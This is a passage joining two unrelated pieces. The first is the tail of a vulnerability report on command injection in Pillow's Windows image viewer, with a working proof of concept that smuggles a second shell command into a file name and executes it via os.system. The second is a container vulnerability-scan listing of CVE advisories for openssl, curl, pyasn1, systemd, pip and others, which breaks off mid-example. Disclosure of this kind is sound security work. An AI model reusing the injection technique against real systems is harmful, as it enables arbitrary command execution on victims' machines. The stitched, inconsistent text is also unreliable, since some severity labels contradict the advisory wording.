            shell=True,                          # ← shell=True
            creationflags=getattr(subprocess, "CREATE_NO_WINDOW"),
        )  # nosec                               # ← Bandit warning suppressed manually
        return 1

Contrast with macOS — SAFE (line 164–168):

class MacViewer(Viewer):
    def get_command(self, file: str, **options: Any) -> str:
        command = "open -a Preview.app"
        command = f"({command} {quote(file)}; sleep 20; rm -f {quote(file)})&"
        return command                           # ← shlex.quote() applied

Cross-platform summary:

Platform Class shlex.quote()? shell=True? Safe?
macOS MacViewer Yes (line 168) No (list args) ✅ Yes
Linux UnixViewer Yes (line 207) No (list args) ✅ Yes
Windows WindowsViewer No (line 134–137) Yes (line 148) ❌ No

shlex.quote is imported on line 21. Its omission from the Windows path is a clear
oversight, not a deliberate design choice.


3. Proof of Concept

A full working PoC is at poc_pillow_injection.py. Key parts:

Part A — Injection string construction (static, no execution):

from PIL.ImageShow import WindowsViewer

viewer = WindowsViewer()
evil_path = r'C:\Temp\evil" & echo PWNED & echo "'
cmd = viewer.get_command(evil_path)
print(cmd)
# Output:
# start "Pillow" /WAIT "C:\Temp\evil" & echo PWNED & echo "" && ping ...
# ┌─ start "Pillow" /WAIT "C:\Temp\evil"   → fails (file not found)
# ├─ & echo PWNED                           → INJECTED COMMAND
# └─ & echo ""  && ping ...                → continues

Part B — Live execution via os.system() (verified on Windows 11, Pillow 12.1.1):

import os, tempfile
from PIL.ImageShow import WindowsViewer

viewer = WindowsViewer()
poc_dir = tempfile.mkdtemp()
marker  = os.path.join(poc_dir, "INJECTION_CONFIRMED.txt")

# Craft injection: payload writes a marker file (harmless)
payload   = f'echo REAL_INJECTED > "{marker}"'
evil_path = os.path.join(poc_dir, f'poc" & {payload} & echo "')

# Call the REAL Pillow get_command():
real_cmd = viewer.get_command(evil_path)

# Execute the same way the base Viewer.show_file() does (os.system):
os.system(real_cmd)

assert os.path.exists(marker)                          # PASSES — marker was created
assert "REAL_INJECTED" in open(marker).read()          # PASSES
# → CONFIRMED: arbitrary command injection via get_command()

critical: 0 high: 4 medium: 1 low: 0 openssl 3.5.6-1~deb13u1 (deb)

pkg:deb/debian/openssl@3.5.6-1~deb13u1?os_distro=trixie&os_name=debian&os_version=13

high : CVE--2026--45447

Affected range<3.5.6-1~deb13u2
Fixed version3.5.6-1~deb13u2
EPSS Score2.719%
EPSS Percentile84th percentile
Description

Issue summary: A specially crafted PKCS#7 or S/MIME signed message could trigger a use-after-free during PKCS#7 signature verification. Impact summary: A use-after-free may result in process crashes, heap corruption, or potentially remote code execution. When processing a PKCS#7 or S/MIME signed message, if the SignedData digestAlgorithms field is present as an empty ASN.1 SET, OpenSSL may incorrectly free a caller-owned BIO during PKCS7_verify(). A subsequent use of the BIO by the calling application results in a use-after-free condition. In the common case this occurs when the application later calls BIO_free() on the BIO originally passed to PKCS7_verify(). Depending on allocator behavior and application-specific BIO usage patterns, this may result in a crash or other memory corruption. In some application contexts this may potentially be exploitable for remote code execution. Applications that process PKCS#7 or S/MIME signed messages using OpenSSL PKCS#7 APIs may be affected. Applications using the CMS APIs for this processing are not affected. The FIPS modules in 4.0, 3.6, 3.5, 3.4, and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.


high : CVE--2026--7383

Affected range<3.5.6-1~deb13u2
Fixed version3.5.6-1~deb13u2
EPSS Score0.358%
EPSS Percentile28th percentile
Description

Issue summary: A signed integer overflow when sizing the destination buffer for Unicode output in ASN1_mbstring_ncopy() can lead to a heap buffer overflow. Impact summary: A heap buffer overflow may lead to a crash or possibly attacker controlled code execution or other undefined behaviour. In ASN1_mbstring_copy() and ASN1_mbstring_ncopy() the destination size for Unicode output is computed in a signed int: by left shift of the input character count for BMPSTRING (UTF-16) and UNIVERSALSTRING (UTF-32), and by summing per-character byte counts for UTF8STRING. The calculation overflows when the input reaches around 2^30 characters. In the worst case (UNIVERSALSTRING at 2^30 characters) the size wraps to zero, OPENSSL_malloc(1) is called, and the subsequent character copy writes several gigabytes past the one-byte allocation. X.509 certificate processing routes through ASN1_STRING_set_by_NID(), whose DIRSTRING_TYPE mask excludes UNIVERSALSTRING and whose per-NID size limits cap the input length; no network protocol or certificate-handling path in OpenSSL exercises the overflow. Triggering the bug requires an application that calls ASN1_mbstring_copy() or ASN1_mbstring_ncopy() directly, or registers a custom string type via ASN1_STRING_TABLE_add(), with attacker-controlled input on the order of half a gigabyte or more. For these reasons this issue was assigned Low severity. The FIPS modules in 4.0, 3.6, 3.5, 3.4 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.


high : CVE--2026--9076

Affected range<3.5.6-1~deb13u2
Fixed version3.5.6-1~deb13u2
EPSS Score0.297%
EPSS Percentile22nd percentile
Description

Issue summary: When CMS password-based decryption (RFC 3211 / PWRI key unwrap) processes attacker-supplied CMS data, an attacker-chosen stream-mode KEK cipher can trigger a heap out-of-bounds read in kek_unwrap_key(). Impact summary: A heap buffer over-read may trigger a crash which leads to Denial of Service for an application if the input buffer ends at a memory page boundary and the following page is unmapped. There is no information disclosure as the over-read bytes are not revealed to the attacker. The key unwrapping function performs a check-byte test as specified in the RFC that reads 7 bytes from a heap allocation that is based on the wrapped key length from the message. There is a minimum length check based on the block length of the wrapping cipher. However the cipher is selected from an OID carried in the attacker's PWRI keyEncryptionAlgorithm with no requirement that the cipher be a block cipher. When an attacker selects a stream-mode cipher the guard will be ineffective and the allocated buffer containing the unwrapped key can be too small to fit the check-bytes specified in the RFC and a buffer over-read can happen. Applications calling CMS_decrypt() or CMS_decrypt_set1_password() (equivalently openssl cms -decrypt -pwri_password ...) on untrusted CMS data are vulnerable to this issue. No password knowledge is required: the over-read happens during the unwrap attempt before any authentication succeeds. The over-read is limited to a few bytes and is not written to output, so there is no information disclosure. Triggering a crash requires the allocation to border unmapped memory, which is unlikely with the normal allocator. The FIPS modules are not affected by this issue.


high : CVE--2026--34180

Affected range<3.5.6-1~deb13u2
Fixed version3.5.6-1~deb13u2
EPSS Score0.513%
EPSS Percentile40th percentile
Description

Issue summary: Parsing a crafted DER-encoded ASN.1 structure with a primitive element whose content exceeds 2 gigabytes in length may cause a heap buffer over-read on 64-bit Unix and Unix-like platforms. Impact summary: The heap buffer over-read may crash the application (Denial of Service) or to load into the decoded ASN.1 object contents of memory beyond the end of the input buffer. More typically such ASN.1 elements would instead be truncated. An integer truncation in OpenSSL's ASN.1 decoder causes the content length of an ASN.1 primitive element to be mishandled when it exceeds 2 gigabytes. In the worst case the truncated length is treated as a request to scan the binary content for a terminating zero byte, possibly causing OpenSSL to read either less than or beyond the end of the allocated buffer. Applications that pass attacker-supplied data to d2i_X509(), d2i_PKCS7(), or any other d2i_* decoding function are affected. OpenSSL's own command-line tools are not vulnerable, as data read through the BIO layer is checked before it reaches the affected code. The issue only affects 64-bit Unix and Unix-like platforms; 32-bit platforms and 64-bit Windows are not affected. The FIPS modules in 4.0, 3.6, 3.5, 3.4 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.


medium : CVE--2026--42766

Affected range<3.5.6-1~deb13u2
Fixed version3.5.6-1~deb13u2
EPSS Score0.595%
EPSS Percentile45th percentile
Description

Issue summary: A specially crafted password-encrypted CMS message can trigger a NULL pointer dereference during CMS decryption. Impact summary: This NULL pointer dereference leads to an application crash and a Denial of Service. The CMS PasswordRecipientInfo.keyDerivationAlgorithm field is defined as OPTIONAL in the ASN.1 specification and may therefore be absent in specially crafted inputs. During the password-based CMS decryption the OpenSSL CMS implementation dereferences this field without first checking whether it was present. An attacker who supplies such a CMS message to an application performing password-based CMS decryption can trigger an application crash, leading to a Denial of Service. Applications that process password-encrypted CMS messages may be affected. The FIPS modules in 4.0, 3.6, 3.5, 3.4, and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.


critical: 0 high: 3 medium: 0 low: 0 pyasn1 0.6.3 (pypi)

pkg:pypi/pyasn1@0.6.3

high 7.5: CVE--2026--59886 Uncontrolled Resource Consumption

Affected range<=0.6.3
Fixed version0.6.4
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.339%
EPSS Percentile26th percentile
Description

Impact

The univ.Real type converted its (mantissa, base, exponent) value to a Python float using exact big-integer exponentiation. A BER/CER/DER-encoded REAL value only a few bytes long can carry a very large exponent, causing this computation to attempt to materialize an astronomically large integer.

Any operation that triggers float conversion on such a decoded value — prettyPrint(), str(), comparison, arithmetic, or an explicit float() call — consumes excessive CPU and memory, hanging the process. Applications that decode untrusted ASN.1 data and then print, log, or compare the decoded objects are vulnerable to denial of service. Decoding alone does not trigger the issue.

Affected components

  • pyasn1.type.univ.Real — float conversion (float() and everything built on it: prettyPrint(), str(), comparisons, arithmetic, int())
  • Reachable through the pyasn1.codec.ber, cer, and der decoders, which produce Real objects from untrusted input; also via directly constructed Real values

The encoders and the native codec are not affected. Applications that never handle ASN.1 REAL values are not affected.

Patches

Fixed in pyasn1 0.6.4. Binary (base-2) values are now converted with math.ldexp(), and decimal (base-10) values with exponents beyond float range raise OverflowError without constructing huge intermediate integers. Existing behavior is preserved: out-of-range values raise OverflowError and prettyPrint() renders them as .

Workarounds

Avoid converting, printing, or comparing decoded Real objects from untrusted sources; inspect the raw (mantissa, base, exponent) tuple instead.

high 7.5: CVE--2026--59885 Uncontrolled Resource Consumption

Affected range<=0.6.3
Fixed version0.6.4
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.339%
EPSS Percentile26th percentile
Description

Impact

The BER/CER/DER decoders process OBJECT IDENTIFIER and RELATIVE-OID values in quadratic time relative to the number of arcs. A small crafted payload (tens of kilobytes) containing an OID with many arcs consumes seconds of CPU per decode() call, allowing denial of service in any application that decodes untrusted ASN.1 data (certificates, LDAP, SNMP, Kerberos, etc.). The corresponding encoders have the same quadratic behavior, reachable when an application re-encodes previously decoded attacker-supplied values.

The arc-size limit introduced for CVE-2026-23490 bounds the byte length of an individual arc but not the number of arcs, so it does not mitigate this issue.

Affected components

ObjectIdentifierPayloadDecoder and RelativeOIDPayloadDecoder in pyasn1/codec/ber/decoder.py; ObjectIdentifierEncoder and RelativeOIDEncoder in pyasn1/codec/ber/encoder.py. The CER and DER codecs inherit these and are equally affected.

Patches

Fixed in pyasn1 0.6.4: arc accumulation in both decoders and encoders now runs in linear time.

Workarounds

Limit the size of untrusted ASN.1 input before decoding.

high 7.5: CVE--2026--59884

Affected range<0.6.4
Fixed version0.6.4
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.354%
EPSS Percentile28th percentile
Description

pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.4, the BER decoder shared by the CER and DER codecs parses long-form tags by accumulating continuation octets without an upper bound on the tag ID size, allowing a crafted input to force construction of an arbitrarily large integer with CPU cost growing quadratically and to trigger unhandled ValueError exceptions in Python 3.11+ error formatting paths. Any application decoding untrusted BER, CER, or DER input is affected. This issue is fixed in version 0.6.4.

critical: 0 high: 2 medium: 9 low: 0 curl 8.14.1-2+deb13u3 (deb)

pkg:deb/debian/curl@8.14.1-2%2Bdeb13u3?os_distro=trixie&os_name=debian&os_version=13

high : CVE--2026--6276

Affected range<8.14.1-2+deb13u4
Fixed version8.14.1-2+deb13u4
EPSS Score0.291%
EPSS Percentile21st percentile
Description

Using libcurl, when a custom Host: header is first set for an HTTP request and a second request is subsequently done using the same easy handle but without the custom Host: header set, the second request would use stale information and pass on cookies meant for the first host in the second request. Leak them.


high : CVE--2026--5773

Affected range<8.14.1-2+deb13u4
Fixed version8.14.1-2+deb13u4
EPSS Score0.549%
EPSS Percentile42nd percentile
Description

libcurl might in some circumstances reuse the wrong connection for SMB(S) transfers. libcurl features a pool of recent connections so that subsequent requests can reuse an existing connection to avoid overhead. When reusing a connection a range of criteria must be met. Due to a logical error in the code, a network transfer operation that was requested by an application could wrongfully reuse an existing SMB connection to the same server that was using a different 'share' than the new subsequent transfer should. This could in unlucky situations lead to the download of the wrong file or the upload of a file to the wrong place. When this happens, the same credentials are used and the server name is the same.


medium : CVE--2026--5545

Affected range<8.14.1-2+deb13u4
Fixed version8.14.1-2+deb13u4
EPSS Score0.414%
EPSS Percentile34th percentile
Description

libcurl might in some circumstances reuse the wrong connection when asked to do an authenticated HTTP(S) request after a Negotiate-authenticated one, when both use the same host. libcurl features a pool of recent connections so that subsequent requests can reuse an existing connection to avoid overhead. When reusing a connection a range of criteria must be met. Due to a logical error in the code, a request that was issued by an application could wrongfully reuse an existing connection to the same server that was authenticated using different credentials. An application that first uses Negotiate authentication to a server with user1:password1 and then does another operation to the same server asking for any authentication method but for user2:password2 (while the previous connection is still alive) - the second request gets confused and wrongly reuses the same connection and sends the new request over that connection thinking it uses a mix of user1's and user2's credentials when it is in fact still using the connection authenticated for user1...


medium : CVE--2026--3784

Affected range<8.14.1-2+deb13u4
Fixed version8.14.1-2+deb13u4
EPSS Score0.302%
EPSS Percentile22nd percentile
Description

curl would wrongly reuse an existing HTTP proxy connection doing CONNECT to a server, even if the new request uses different credentials for the HTTP proxy. The proper behavior is to create or use a separate connection.


medium : CVE--2026--1965

Affected range<8.14.1-2+deb13u4
Fixed version8.14.1-2+deb13u4
EPSS Score0.259%
EPSS Percentile17th percentile
Description

libcurl can in some circumstances reuse the wrong connection when asked to do an Negotiate-authenticated HTTP or HTTPS request. libcurl features a pool of recent connections so that subsequent requests can reuse an existing connection to avoid overhead. When reusing a connection a range of criterion must first be met. Due to a logical error in the code, a request that was issued by an application could wrongfully reuse an existing connection to the same server that was authenticated using different credentials. One underlying reason being that Negotiate sometimes authenticates connections and not requests, contrary to how HTTP is designed to work. An application that allows Negotiate authentication to a server (that responds wanting Negotiate) with user1:password1 and then does another operation to the same server also using Negotiate but with user2:password2 (while the previous connection is still alive) - the second request wrongly reused the same connection and since it then sees that the Negotiate negotiation is already made, it just sends the request over that connection thinking it uses the user2 credentials when it is in fact still using the connection authenticated for user1... The set of authentication methods to use is set with CURLOPT_HTTPAUTH. Applications can disable libcurl's reuse of connections and thus mitigate this problem, by using one of the following libcurl options to alter how connections are or are not reused: CURLOPT_FRESH_CONNECT, CURLOPT_MAXCONNECTS and CURLMOPT_MAX_HOST_CONNECTIONS (if using the curl_multi API).


medium : CVE--2026--6253

Affected range<8.14.1-2+deb13u4
Fixed version8.14.1-2+deb13u4
EPSS Score0.639%
EPSS Percentile47th percentile
Description

curl might erroneously pass on credentials for a first proxy to a second proxy. This can happen when the following conditions are true: 1. curl is setup to use specific different proxies for different URL schemes 2. the first proxy needs credentials 3. the second proxy uses no credentials 4. while using the first proxy (using say http://), curl is asked to follow a redirect to a URL using another scheme (say https://), accessed using a second, different, proxy


medium : CVE--2026--4873

Affected range<8.14.1-2+deb13u4
Fixed version8.14.1-2+deb13u4
EPSS Score0.329%
EPSS Percentile25th percentile
Description

A vulnerability exists where a connection requiring TLS incorrectly reuses an existing unencrypted connection from the same connection pool. If an initial transfer is made in clear-text (via IMAP, SMTP, or POP3), a subsequent request to that same host bypasses the TLS requirement and instead transmit data unencrypted.


medium : CVE--2026--7168

Affected range<8.14.1-2+deb13u4
Fixed version8.14.1-2+deb13u4
EPSS Score0.471%
EPSS Percentile38th percentile
Description

Successfully using libcurl to do a transfer over a specific HTTP proxy (proxyA) with Digest authentication and then changing the proxy host to a second one (proxyB) for a second transfer, reusing the same handle, makes libcurl wrongly pass on the Proxy-Authorization: header field meant for proxyA, to proxyB.


medium : CVE--2026--6429

Affected range<8.14.1-2+deb13u4
Fixed version8.14.1-2+deb13u4
EPSS Score0.519%
EPSS Percentile41st percentile
Description

When asked to both use a .netrc file for credentials and to follow HTTP redirects, libcurl could leak the password used for the first host to the followed-to host under certain circumstances.


medium : CVE--2026--3783

Affected range<8.14.1-2+deb13u4
Fixed version8.14.1-2+deb13u4
EPSS Score0.333%
EPSS Percentile26th percentile
Description

When an OAuth2 bearer token is used for an HTTP(S) transfer, and that transfer performs a redirect to a second URL, curl could leak that token to the second hostname under some circumstances. If the hostname that the first request is redirected to has information in the used .netrc file, with either of the machine or default keywords, curl would pass on the bearer token set for the first host also to the second one.


medium : CVE--2025--14524

Affected range<8.14.1-2+deb13u4
Fixed version8.14.1-2+deb13u4
EPSS Score0.611%
EPSS Percentile45th percentile
Description

When an OAuth2 bearer token is used for an HTTP(S) transfer, and that transfer performs a cross-protocol redirect to a second URL that uses an IMAP, LDAP, POP3 or SMTP scheme, curl might wrongly pass on the bearer token to the new target host.


critical: 0 high: 2 medium: 0 low: 0 quick-xml 0.39.2 (cargo)

pkg:cargo/quick-xml@0.39.2

high 7.5: RUSTSEC--2026--0195

Affected range<0.41.0
Fixed version0.41.0
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Description

NsReader resolves namespaces by calling NamespaceResolver::push for every
Start/Empty event before the event is returned to the caller. push
iterated all xmlns / xmlns:* attributes on the start tag and, for each one,
appended the prefix bytes to an internal buffer and pushed a NamespaceBinding
(32 bytes on 64-bit) to an internal Vec, with no upper bound on the number of
declarations.

Impact

A start tag with N namespace declarations drove roughly the tag's byte
size in NamespaceResolver heap, allocated inside quick-xml before the
NsReader consumer ever received the event and could inspect or reject it. A
consumer that bounds its input size therefore still cannot bound this
allocation: an M-byte start tag yields on the order of 3 × M bytes of
resolver heap the caller never sees.

On untrusted XML this lets a remote, unauthenticated attacker force large heap
allocations with a single start tag. With several NsReaders running
concurrently on independent inputs (a common server pattern), the allocations
stack and can exhaust process memory, causing the operating system to kill the
process (OOM). This was confirmed against a real-world RPKI relying party (NLnet
Labs Routinator), where concurrent RRDP validation workers parsing a crafted
snapshot.xml exceeded the memory limit and the process was OOM-killed.

Affected code paths

Consumers using NsReader (which always calls NamespaceResolver::push before
yielding Start/Empty), or calling NamespaceResolver::push directly. A plain
Reader that does not perform namespace resolution is not affected.

Remediation

Upgrade to quick-xml >= 0.41.0. NamespaceResolver::push now rejects a start
tag that declares more than DEFAULT_MAX_DECLARATIONS_PER_ELEMENT (256)
namespace bindings, returning the new NamespaceError::TooManyDeclarations
instead of allocating without limit. The limit is configurable via
NamespaceResolver::set_max_declarations_per_element (use usize::MAX to
restore the previous unbounded behavior), and NsReader::resolver_mut() is
provided to reach it.

There is no clean workaround for NsReader consumers before 0.41.0, as the
allocation happens inside the reader with no configuration knob to cap it.

high 7.5: RUSTSEC--2026--0194

Affected range<0.41.0
Fixed version0.41.0
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Description

BytesStart::attributes() returns an Attributes iterator which, by default
(with_checks(true)), rejects a start tag that repeats an attribute name. For
each attribute yielded, the iterator compared the new name against every name
seen so far in the same tag using a linear scan, so a start tag with N
distinct attribute names cost O(N²) byte comparisons. There was no bound on
N other than the size of the buffered start tag.

Impact

Any code that parses untrusted XML and iterates a start tag's attributes with
the default duplicate check enabled can be made to spend CPU time quadratic in
the number of attributes on a single tag. Because the check is pure computation
with no .await/I/O, an I/O-based timeout on the consumer (for example a read
or request timeout) cannot interrupt it while it runs.

Measured cost of a single start tag, release build:

Attributes on one tag Time
80,000 ~6 s
800,000 ~10 min

The cost grows with the square of the attribute count, so a start tag of a few
tens of megabytes can stall a parsing thread for hours. No memory is exhausted
and the parser does not crash; the effect is CPU exhaustion on the thread doing
the parsing: a single crafted start tag can pin a CPU core for minutes to hours,
denying service to that worker. A deployment that places a wall-clock bound on
parsing, or confines it to a non-critical thread, may consider the availability
impact lower.

Affected code paths

  • BytesStart::attributes() / Attributes iterated with checks enabled (the
    default), and BytesStart::try_get_attribute.
  • NsReader, which resolves namespaces by iterating a tag's attributes and so
    reaches the same check internally.

Consumers that iterate attributes with .attributes().with_checks(false) and do
not use NsReader are not affected.

This was reported as reachable by a remote, unauthenticated attacker in a
real-world RPKI relying party (NLnet Labs Routinator) via a crafted RRDP
snapshot.xml.

Remediation

Upgrade to quick-xml >= 0.41.0, where the duplicate check keeps the linear
scan for start tags with a small number of attributes and switches to an O(1)
hash pre-filter above a threshold, making the whole tag O(N). The reported
AttrError::Duplicated positions are unchanged.

If upgrading is not possible and duplicate-name detection is not required,
disable it with .attributes().with_checks(false) (this does not help
NsReader consumers, which have no equivalent opt-out before 0.41.0).

critical: 0 high: 1 medium: 0 low: 0 quinn-proto 0.11.14 (cargo)

pkg:cargo/quinn-proto@0.11.14

high 7.5: GHSA--4w2j--m93h--cj5j

Affected range<0.11.15
Fixed version0.11.15
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Description

The Assembler component that assembles unordered stream fragments into consecutive chunks of the
stream incurs some overhead for non-contiguous fragments. Readers that read from a RecvStream in
order (through an AsyncRead impl for example) will be sensitive to peers that send fragments
while leaving out early parts of the stream, and in particular, fragments with many gaps (because
these cannot be defragmented). In such a scenario, the receiving connection suffers from high
buffer overhead, enabling memory exhaustion.

critical: 0 high: 1 medium: 0 low: 0 libtasn1-6 4.20.0-2 (deb)

pkg:deb/debian/libtasn1-6@4.20.0-2?os_distro=trixie&os_name=debian&os_version=13

high : CVE--2025--13151

Affected range<4.20.0-2+deb13u1
Fixed version4.20.0-2+deb13u1
EPSS Score1.109%
EPSS Percentile62nd percentile
Description

Stack-based buffer overflow in libtasn1 version: v4.20.0. The function fails to validate the size of input data resulting in a buffer overflow in asn1_expend_octet_string.


[experimental] - libtasn1-6 4.21.0-1

critical: 0 high: 0 medium: 4 low: 0 systemd 257.9-1~deb13u1 (deb)

pkg:deb/debian/systemd@257.9-1~deb13u1?os_distro=trixie&os_name=debian&os_version=13

medium : CVE--2026--4105

Affected range<257.13-1~deb13u1
Fixed version257.13-1~deb13u1
EPSS Score0.142%
EPSS Percentile4th percentile
Description

A flaw was found in systemd. The systemd-machined service contains an Improper Access Control vulnerability due to insufficient validation of the class parameter in the RegisterMachine D-Bus (Desktop Bus) method. A local unprivileged user can exploit this by attempting to register a machine with a specific class value, which may leave behind a usable, attacker-controlled machine object. This allows the attacker to invoke methods on the privileged object, leading to the execution of arbitrary commands with root privileges on the host system.


medium : CVE--2026--40226

Affected range<257.13-1~deb13u1
Fixed version257.13-1~deb13u1
EPSS Score0.072%
EPSS Percentile0th percentile
Description

In nspawn in systemd 233 through 259 before 260, an escape-to-host action can occur via a crafted optional config file.


medium : CVE--2026--40225

Affected range<257.13-1~deb13u1
Fixed version257.13-1~deb13u1
EPSS Score0.144%
EPSS Percentile4th percentile
Description

In udev in systemd before 260, local root execution can occur via malicious hardware devices and unsanitized kernel output.


medium : CVE--2026--29111

Affected range<257.13-1~deb13u1
Fixed version257.13-1~deb13u1
EPSS Score0.121%
EPSS Percentile2nd percentile
Description

systemd, a system and service manager, (as PID 1) hits an assert and freezes execution when an unprivileged IPC API call is made with spurious data. On version v249 and older the effect is not an assert, but stack overwriting, with the attacker controlled content. From version v250 and newer this is not possible as the safety check causes an assert instead. This IPC call was added in v239, so versions older than that are not affected. Versions 260-rc1, 259.2, 258.5, and 257.11 contain patches. No known workarounds are available.


critical: 0 high: 0 medium: 3 low: 0 pip 26.0.1 (pypi)

pkg:pypi/pip@26.0.1

medium 5.3: CVE--2026--6357 Inclusion of Functionality from Untrusted Control Sphere

Affected range<26.1
Fixed version26.1
CVSS Score5.3
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:H/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
EPSS Score0.138%
EPSS Percentile4th percentile
Description

pip prior to version 26.1 would run self-update check functionality after installing wheel files which required importing well-known Python modules names. These module imports were intentionally deferred to increase startup time of the pip CLI. The patch changes self-update functionality to run before wheels are installed to prevent newly-installed modules from being imported shortly after the installation of a wheel package. Users should still review package contents prior to installation.

medium 4.6: CVE--2026--3219 Unrestricted Upload of File with Dangerous Type

Affected range<=26.0.1
Fixed version26.1
CVSS Score4.6
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score0.144%
EPSS Percentile4th percentile
Description

pip handles concatenated tar and ZIP files as ZIP files regardless of filename or whether a file is both a tar and ZIP file. This behavior could result in confusing installation behavior, such as installing "incorrect" files according to the filename of the archive. New behavior only proceeds with installation if the file identifies uniquely as a ZIP or tar archive, not as both.

medium 4.1: CVE--2026--8643 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range<26.1.2
Fixed version26.1.2
CVSS Score4.1
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
EPSS Score0.320%
EPSS Percentile24th percentile
Description

pip would treat console_scripts and gui_scripts as paths instead of file names without sanitizing the resolved absolute path to the installation directory, leading to entry points being installed outside the installation directory.

critical: 0 high: 0 medium: 2 low: 0 krb5 1.21.3-5 (deb)

pkg:deb/debian/krb5@1.21.3-5?os_distro=trixie&os_name=debian&os_version=13

medium : CVE--2026--40356

Affected range<1.21.3-5+deb13u1
Fixed version1.21.3-5+deb13u1
EPSS Score0.501%
EPSS Percentile40th percentile
Description

In MIT Kerberos 5 (aka krb5) before 1.22.3, there is an integer underflow and resultant out-of-bounds read if an application calls gss_accept_sec_context() on a system with a NegoEx mechanism registered in /etc/gss/mech. An unauthenticated remote attacker can trigger this, possibly causing the process to terminate in parse_message.


medium : CVE--2026--40355

Affected range<1.21.3-5+deb13u1
Fixed version1.21.3-5+deb13u1
EPSS Score0.507%
EPSS Percentile40th percentile
Description

In MIT Kerberos 5 (aka krb5) before 1.22.3, there is a NULL pointer dereference if an application calls gss_accept_sec_context() on a system with a NegoEx mechanism registered in /etc/gss/mech. An unauthenticated remote attacker can trigger this, causing the process to terminate in parse_nego_message.


critical: 0 high: 0 medium: 1 low: 0 astral-tokio-tar 0.6.1 (cargo)

pkg:cargo/astral-tokio-tar@0.6.1

medium 6.9: GHSA--3cv2--h65g--fgmm Improper Input Validation

Affected range<=0.6.1
Fixed version0.6.2
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Description

Impact

Versions of astral-tokio-tar prior to 0.6.2 contain a PAX header interpretation bug that allows manipulated entries to be made selectively visible or invisible during extraction with astral-tokio-tar versus other tar implementations. An attacker could use this differential to smuggle unexpected files onto a victim's filesystem.

Details

When a tar stream contains multiple "header" entries prior to a file entry, astral-tokio-tar applies the PAX header (x) to the next entry in the stream, regardless of type. For example, a stream of x -> L -> file (PAX, GNU longname, file) would result in x's extensions being applied to L rather than to file.

Per POSIX pax, this is incorrect: a PAX header always applies to a file entry, not any intermediary entries. See the "pax Header Block" section for the specific prescription there.

As a result of this, an attacker can contrive a tar containing a sequence of tar headers such that astral-tokio-tar applies the PAX header's size extension to the next header in sequence, effectively desynchronizing the stream and enabling astral-tokio-tar specific skippage/extraction of members. In other words, a file can be contrived to extract differently on astral-tokio-tar than on other tar parsers.

Patches

Versions 0.6.2 and newer of astral-tokio-tar address this differential.

Workarounds

Users are advised to upgrade to version 0.6.1 or newer to address this advisory.

There is no workaround other than upgrading. Users should experience no breaking changes as a result of the upgrade.

Resources

  • GHSA-j5gw-2vrg-8fgx is a similar PAX desynchronization bug
  • GHSA-fp55-jw48-c537 is another similar PAX desynchronization bug
critical: 0 high: 0 medium: 1 low: 0 setuptools 80.10.2 (pypi)

pkg:pypi/setuptools@80.10.2

medium 6.1: CVE--2026--59890 Improper Handling of Unicode Encoding

Affected range<83.0.0
Fixed version83.0.0
CVSS Score6.1
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N
EPSS Score0.290%
EPSS Percentile21st percentile
Description

Summary

When building a source distribution (python -m build --sdist / setup.py sdist), setuptools' FileList applies MANIFEST.in directives (exclude, global-exclude, recursive-exclude, prune) by matching a compiled glob against on-disk file names byte-for-byte, with no Unicode normalization. On normalization-preserving filesystems (notably macOS APFS and HFS+), a file written in NFD and a MANIFEST.in rule written in NFC refer to the same file but are byte-distinct, so the exclusion silently fails to match. A file the maintainer intended to exclude is then packed into the .tar.gz and, if published, uploaded to the public, immutable PyPI index.

Details

File names in FileList.files come from os.walk (setuptools/_distutils/filelist.py, _find_all_simple), so on APFS a file written NFD is offered to the matcher in NFD, while the MANIFEST.in pattern carries the author's editor form (typically NFC). The matching path performs no canonicalization:

# setuptools/command/egg_info.py  (FileList.global_exclude)
def global_exclude(self, pattern):
    match = translate_pattern(os.path.join('**', pattern))   # fnmatch.translate -> regex, no NFC/NFD
    return self._remove_files(match.match)                   # byte-level regex over raw os.walk names

A rule written NFC (café = 63 61 66 c3 a9) does not match an on-disk name written NFD (café = 63 61 66 65 cc 81), even though the filesystem treats the two as one file.

A unicodedata.normalize('NFD', ...) helper exists in setuptools/unicode_utils.py (decompose()), but it is never called in the manifest matching path, so neither the pattern nor the walked path is normalized before matching. The only normalization in this area, EggInfoCommand._manifest_normalize, uses filesys_decode (bytes→str decode only, no NFC/NFD) and runs when writing SOURCES.txt, after matching has already occurred.

Impact

MANIFEST.in exclusions are the documented mechanism maintainers use to keep secrets, local configs, and private fixtures out of the published sdist. A non-ASCII excluded file may be published to the public, immutable PyPI index despite the rule — an irreversible disclosure with no visual cue (NFC and NFD forms render identically). Exposure is filesystem-dependent and most relevant on macOS APFS/HFS+, where many maintainers build and publish. Pure-ASCII rules are unaffected.

Proof of concept

With a project containing MANIFEST.in:

global-include *.txt *.json
global-exclude secret_café.txt    # rule saved NFC

